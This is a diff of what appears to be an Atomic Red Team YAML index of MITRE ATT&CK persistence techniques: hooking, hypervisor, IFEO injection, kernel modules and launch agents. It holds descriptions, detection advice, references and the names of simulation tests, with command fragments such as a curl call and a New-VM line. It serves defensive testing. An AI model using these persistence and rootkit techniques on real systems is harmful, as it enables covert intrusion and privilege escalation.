x_mitre_detection: |- + Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) + + Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. + + Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) + + Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2018-01-16T16:13:52.465Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: credential-access + external_references: + - external_id: T1179 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1179 + - source_name: Microsoft Hook Overview + description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Adlice Software IAT Hooks Oct 2014 + description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. + Retrieved December 12, 2017.' + url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/ + - source_name: MWRInfoSecurity Dynamic Hooking 2015 + description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User + Mode. Retrieved December 20, 2017.' + url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/ + - source_name: HighTech Bridge Inline Hooking Sept 2011 + description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved + December 12, 2017. + url: https://www.exploit-db.com/docs/17802.pdf + - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017 + description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. + Retrieved December 18, 2017. + - source_name: Symantec Windows Rootkits + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + 21, 2017. + url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + - source_name: Volatility Detecting Hooks Sept 2012 + description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware + Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017. + url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html + - source_name: PreKageo Winhook Jul 2011 + description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017. + url: https://github.com/prekageo/winhook + - source_name: Jay GetHooks Sept 2011 + description: Satiro, J. (2011, September 14). GetHooks. Retrieved December + 12, 2017. + url: https://github.com/jay/gethooks + - source_name: Zairon Hooking Dec 2006 + description: Felici, M. (2006, December 6). Any application-defined hook procedure + on my machine?. Retrieved December 12, 2017. + url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/ + - source_name: EyeofRa Detecting Hooking June 2017 + description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense + against user-land. Retrieved December 12, 2017.' + url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/ + - source_name: GMER Rootkits + description: GMER. (n.d.). GMER. Retrieved December 12, 2017. + url: http://www.gmer.net/ + - source_name: Microsoft Process Snapshot + description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved + December 12, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx + - source_name: StackExchange Hooks Jul 2012 + description: Stack Exchange - Security. (2012, July 31). What are the methods + to find hooked functions and APIs?. Retrieved December 12, 2017. + url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis + modified: '2019-04-03T15:02:18.662Z' identifier: T1179 atomic_tests: - name: Hook PowerShell TLS Encrypt/Decrypt Messages @@ -1805,49 +1886,12 @@ persistence: curl #{server_name} T1062: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1062 - source_name: mitre-attack - external_id: T1062 - - url: https://capec.mitre.org/data/definitions/552.html - source_name: capec - external_id: CAPEC-552 - - url: http://en.wikipedia.org/wiki/Xen - source_name: Wikipedia Xen - description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014. - - url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf - source_name: Myers 2007 - description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted - Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014. - - url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html - source_name: virtualization.info 2006 - description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee). - (2006, August 11). Debunking Blue Pill myth [Interview transcript]. - Retrieved November 13, 2014. - - url: https://en.wikipedia.org/wiki/Hypervisor - source_name: Wikipedia Hypervisor - description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - System calls - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing - analysis. Hypervisors emulate certain CPU instructions that would normally - be executed by the hardware. If an instruction takes orders of magnitude longer - to execute than normal on a system that should not contain a hypervisor, one - may be present. (Citation: virtualization.info 2006)' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Hypervisor - created: '2017-05-31T21:30:50.958Z' - x_mitre_version: '1.0' - type: attack-pattern description: 'A type-1 hypervisor is a software layer that sits between the guest operating systems and system''s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example @@ -1856,9 +1900,46 @@ persistence: [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.' - x_mitre_permissions_required: - - Administrator - - SYSTEM + id: attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: 'Type-1 hypervisors may be detected by performing timing + analysis. Hypervisors emulate certain CPU instructions that would normally + be executed by the hardware. If an instruction takes orders of magnitude longer + to execute than normal on a system that should not contain a hypervisor, one + may be present. (Citation: virtualization.info 2006)' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:50.958Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1062 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1062 + - external_id: CAPEC-552 + source_name: capec + url: https://capec.mitre.org/data/definitions/552.html + - description: Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014. + source_name: Wikipedia Xen + url: http://en.wikipedia.org/wiki/Xen + - description: Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted + Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014. + source_name: Myers 2007 + url: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf + - description: virtualization.info. (Interviewer) & Liguori, A. (Interviewee). + (2006, August 11). Debunking Blue Pill myth [Interview transcript]. + Retrieved November 13, 2014. + source_name: virtualization.info 2006 + url: http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html + - description: Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016. + source_name: Wikipedia Hypervisor + url: https://en.wikipedia.org/wiki/Hypervisor + modified: '2018-10-17T00:14:20.652Z' identifier: T1062 atomic_tests: - name: Installing Hyper-V Feature @@ -1889,69 +1970,14 @@ persistence: New-VM -Name #{vm_name} -MemoryStartupBytes 1GB -NewVHDPath #{file_location} -NewVHDSizeBytes 21474836480 T1183: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1183 - source_name: mitre-attack - external_id: T1183 - - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - source_name: Microsoft Dev Blog IFEO Mar 2010 - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). - Retrieved December 18, 2017. - - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - source_name: Microsoft GFlags Mar 2017 - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December - 18, 2017. - - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml - source_name: FSecure Hupigon - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. - Retrieved December 18, 2017. - - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 - source_name: Symantec Ushedix June 2008 - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December - 18, 2017. - - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit - source_name: Microsoft Silent Process Exit NOV 2017 - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent - Process Exit. Retrieved June 27, 2018. - - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ - source_name: Oddvar Moe IFEO APR 2018 - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image - File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - Process monitoring - Windows Registry - Windows event logs - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) - - Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Autoruns Analysis - id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Image File Execution Options Injection - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) @@ -1968,9 +1994,64 @@ persistence: Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) - x_mitre_permissions_required: - - Administrator - - SYSTEM + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: defense-evasion + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2018-01-16T16:13:52.465Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1183 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1183 + - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + Retrieved December 18, 2017. + source_name: Microsoft Dev Blog IFEO Mar 2010 + url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + 18, 2017. + source_name: Microsoft GFlags Mar 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + Retrieved December 18, 2017. + source_name: FSecure Hupigon + url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + 18, 2017. + source_name: Symantec Ushedix June 2008 + url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + x_mitre_defense_bypassed: + - Autoruns Analysis identifier: T1183 atomic_tests: - name: IFEO Add Debugger @@ -2023,68 +2104,27 @@ persistence: ' T1215: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1215 - source_name: mitre-attack - external_id: T1215 - - url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - source_name: Linux Kernel Programming - description: 'Pomerantz, O., Salzman, P. (2003, April 4). The (Citation: - Linux Kernel Module Programming Guide). Retrieved April 6, 2018.' - - url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html - source_name: Linux Kernel Module Programming Guide - description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. - Retrieved April 6, 2018. - - url: http://www.megasecurity.org/papers/Rootkits.pdf - source_name: iDefense Rootkit Overview - description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved - April 6, 2018. - - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf - source_name: RSAC 2015 San Francisco Patrick Wardle - description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. - Retrieved April 6, 2018. - - url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ - source_name: Synack Secure Kernel Extension Broken - description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel - Extension Loading’ is Broken. Retrieved April 6, 2018. - - url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ - source_name: Securelist Ventir - description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble - your MacOS spy. Retrieved April 6, 2018.' - - url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux - source_name: Wikipedia Loadable Kernel Module - description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved - April 9, 2018. - - url: http://tldp.org/HOWTO/Module-HOWTO/x197.html - source_name: Linux Loadable Kernel Module Insert and Remove LKMs - description: Henderson, B. (2006, September 24). How To Insert And Remove - LKMs. Retrieved April 9, 2018. - - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - source_name: CrowdStrike Linux Rootkit - description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. - Retrieved December 21, 2017. - - url: https://github.com/f0rb1dd3n/Reptile - source_name: GitHub Reptile - description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved - April 9, 2018. - - url: https://github.com/m0nad/Diamorphine - source_name: GitHub Diamorphine - description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux - Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. - - url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html - source_name: Volatility Phalanx2 - description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility - to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Jeremy Galloway - - Red Canary + x_mitre_permissions_required: + - root x_mitre_data_sources: - System calls - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' + name: Kernel Modules and Extensions + description: |- + Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine) + + Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview) + + Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir) + id: attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: |- LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) @@ -2101,25 +2141,66 @@ persistence: For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS + x_mitre_contributors: + - Jeremy Galloway + - Red Canary + created: '2018-04-18T17:59:24.739Z' kill_chain_phases: - phase_name: persistence kill_chain_name: mitre-attack - id: attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5 - name: Kernel Modules and Extensions - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine) - - Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview) - - Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir) - x_mitre_permissions_required: - - root + external_references: + - source_name: mitre-attack + external_id: T1215 + url: https://attack.mitre.org/techniques/T1215 + - description: Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel + Module Programming Guide. Retrieved April 6, 2018. + source_name: Linux Kernel Programming + url: https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf + - source_name: Linux Kernel Module Programming Guide + description: Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. + Retrieved April 6, 2018. + url: http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html + - source_name: Volatility Phalanx2 + description: 'Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility + to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.' + url: https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html + - source_name: CrowdStrike Linux Rootkit + description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. + Retrieved December 21, 2017. + url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ + - source_name: GitHub Reptile + description: Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved + April 9, 2018. + url: https://github.com/f0rb1dd3n/Reptile + - source_name: GitHub Diamorphine + description: Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux + Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018. + url: https://github.com/m0nad/Diamorphine + - source_name: iDefense Rootkit Overview + description: Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved + April 6, 2018. + url: http://www.megasecurity.org/papers/Rootkits.pdf + - source_name: RSAC 2015 San Francisco Patrick Wardle + description: Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. + Retrieved April 6, 2018. + url: https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf + - source_name: Synack Secure Kernel Extension Broken + description: Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel + Extension Loading’ is Broken. Retrieved April 6, 2018. + url: https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ + - source_name: Securelist Ventir + description: 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble + your MacOS spy. Retrieved April 6, 2018.' + url: https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ + - source_name: Wikipedia Loadable Kernel Module + description: Wikipedia. (2018, March 17). Loadable kernel module. Retrieved + April 9, 2018. + url: https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux + - source_name: Linux Loadable Kernel Module Insert and Remove LKMs + description: Henderson, B. (2006, September 24). How To Insert And Remove + LKMs. Retrieved April 9, 2018. + url: http://tldp.org/HOWTO/Module-HOWTO/x197.html + modified: '2019-07-18T15:24:28.077Z' identifier: T1215 atomic_tests: - name: Linux - Load Kernel Module via insmod @@ -2151,63 +2232,13 @@ persistence: ' T1159: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1159 - source_name: mitre-attack - external_id: T1159 - - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: AppleDocs Launch Agent Daemons - description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved - July 10, 2017. - - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: OSX Keydnap malware - description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware - is hungry for credentials. Retrieved July 3, 2017. - - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - source_name: Antiquated Mac Malware - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated - code. Retrieved July 5, 2017. - - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ - source_name: OSX.Dok Malware - description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web - traffic. Retrieved July 10, 2017. - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - - url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf - source_name: OSX Malware Detection - description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical - OS X Malware Detection & Analysis. Retrieved July 10, 2017.' - - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - source_name: OceanLotus for OS X - description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application - Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - User + - Administrator x_mitre_data_sources: - File monitoring - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor Launch Agent creation through additional plist files - and utilities such as Objective-See’s KnockKnock application. Launch Agents - also require files on disk for persistence which can also be monitored via - other file monitoring applications. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--dd901512-6e37-4155-943b-453e3777b125 name: Launch Agent - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, @@ -2225,9 +2256,59 @@ persistence: OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges)." - x_mitre_permissions_required: - - User - - Administrator + id: attack-pattern--dd901512-6e37-4155-943b-453e3777b125 + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor Launch Agent creation through additional plist files + and utilities such as Objective-See’s KnockKnock application. Launch Agents + also require files on disk for persistence which can also be monitored via + other file monitoring applications. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1159 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1159 + - source_name: AppleDocs Launch Agent Daemons + description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved + July 10, 2017. + url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + - source_name: OSX Keydnap malware + description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware + is hungry for credentials. Retrieved July 3, 2017. + url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ + - source_name: Antiquated Mac Malware + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + - source_name: OSX.Dok Malware + description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web + traffic. Retrieved July 10, 2017. + url: 